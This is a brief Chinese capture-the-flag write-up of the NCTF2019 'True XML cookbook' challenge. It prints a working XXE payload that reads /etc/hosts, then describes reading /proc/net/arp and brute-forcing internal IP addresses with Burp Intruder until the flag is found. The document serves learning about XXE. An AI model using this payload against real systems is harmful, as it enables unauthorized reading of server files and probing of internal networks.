一天一道ctf 第40天（xxe注入）

[NCTF2019]True XML cookbook
这道题是xml模板和xxe注入，以前没有碰到过类似知识点所以这次学习一下。

填写用户名，抓包，改包。简单来说就是把file协议读取的内容放在abc这个变量里，然后<username>&abc</username>输出abc的值。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///etc/hosts">
 ]>
<user><username>&abc;</username><password>abc</password></user>

我这里并没有拿到主机的IP地址，尝试访问/proc/net/arp，拿到了内网地址

直接访问这个地址会报错，右键send to Intruder开始爆破IP地址最后一个字段查找内网中的其他主机。最后在10.0.34.6这个地址拿到相应的flag。